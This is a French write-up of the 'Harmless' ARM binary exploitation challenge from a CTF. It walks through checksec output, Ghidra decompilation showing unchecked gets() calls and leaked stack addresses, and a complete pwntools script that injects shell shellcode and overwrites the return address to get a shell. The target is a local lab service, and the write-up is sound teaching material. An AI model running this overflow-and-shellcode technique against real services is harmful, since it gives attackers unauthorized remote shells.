Solution de jsreynaud pour Harmless

pwn ARM

17 décembre 2023

Prise de contact

On regarde ce qu’il se passe en exécution normale :

$ nc localhost 4000
Hello, and welcome to ECSC!
My name is Michel.
What's your name?
>> Bob
Nice to meet you Bob. How old are you?
>> 1
Are you a developper? [Y/N]
>> Y
This might be useful for you:
        username: 0xf2a0cc70
             age: 0xf2a0cc6c
             dev: 0xf2a0cc68
         comment: 0xf2a0cbe8
Feel free to drop us a short comment about this CTF.
>> comment
Thanks for your feedback!
Bye.
^C
$

Sécurité ?

Le binaire dernière le service est fourni. On regarde sa sécurité:

$ checksec /tmp/harmless
[*] '/tmp/harmless'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0xf000)
    Stack:    Executable
    RWX:      Has RWX segments
  • Pas de protection de la pile
  • La pile est exécutable

On devrait donc pouvoir faire un buffer overflow avec un shellcode dans une des variables…

Disassemble it !

On utilise Ghidra pour ça :

undefined4 main(void)
{
  char acStack_b0 [128];
  char local_30 [4];
  char acStack_2c [4];
  char acStack_28 [32];

  puts("Hello, and welcome to ECSC!");
  puts("My name is Michel.");
  puts("What\'s your name?");
  printf(">>");
  fflush(stdout);
  gets(acStack_28);
  printf("Nice to meet you %s. How old are you?\n", acStack_28);
  printf(">>");
  fflush(stdout);
  gets(acStack_2c);
  puts("Are you a developper? [Y/N]");
  printf(">>");
  fflush(stdout);
  gets(local_30);
  if (local_30[0] == 'Y') {
    puts("This might be useful for you: ");
    printf("\tusername: %p\n", acStack_28);
    printf("\t     age: %p\n", acStack_2c);
    printf("\t     dev: %p\n", local_30);
    printf("\t comment: %p\n", acStack_b0);
    puts("Feel free to drop us a short comment about this CTF.");
    printf(">>");
    fflush(stdout);
    gets(acStack_b0);
    puts("Thanks for your feedback!");
    puts("Bye.");
  }
  else {
    puts("Goodbye then!");
  }
  return 0;
}

On retrouve bien un algo qui ressemble a ce qu’on a observé en exécution normale. De plus:

  • Aucune des saisies clavier n’est protégée
  • Si on répond “Y” à développeur, ça affiche l’adresse des variables qui sont donc dans la pile/stack
  • La taille de la stack locale devrait être de 128+4+4+32 = 168

Donc l’adresse de retour de la fonction main devrait se trouver à 168+4 (les +4 pour la base de la pile)

Exploit it!

On exploite avec pwn:

import pwn

# C'est du ARM...
pwn.context.arch = "arm"

# Si on veux tester en local. Ajouter la variable d'environnement
# QEMU_LD_PREFIX=/usr/arm-linux-gnueabi
# p = pwn.process("./harmless")

# Version distante
p = pwn.remote("localhost", 4000)
p.recvuntil(b">> ")
p.sendline(b"my name")
p.recvuntil(b">> ")
p.sendline(b"1")
p.recvuntil(b">> ")
p.sendline(b"Y")
a = p.recvuntil(b">> ")
addr = a.split(b"\n")[4].split(b" ")[2]

start_buf = pwn.p32((int(addr, 16)))
shellcode = pwn.asm(pwn.shellcraft.arm.linux.sh())
payload = shellcode + b"A" * ((168 + 4) - len(shellcode)) + start_buf
p.sendline(payload)
p.interactive()

Et le résultat:

$ python3 fcsc2019-pwn-harmless.py
[+] Opening connection to localhost on port 4000: Done
[*] Switching to interactive mode
$ ls
flag.txt
harmless
run.sh
$ cat flag.txt
FCSC{fc6edd667efb8ce882565f7dbfcd4dc1ea65d411eb6e7e0ba0ad3c156...
$
[*] Closed connection to localhost port 4000
$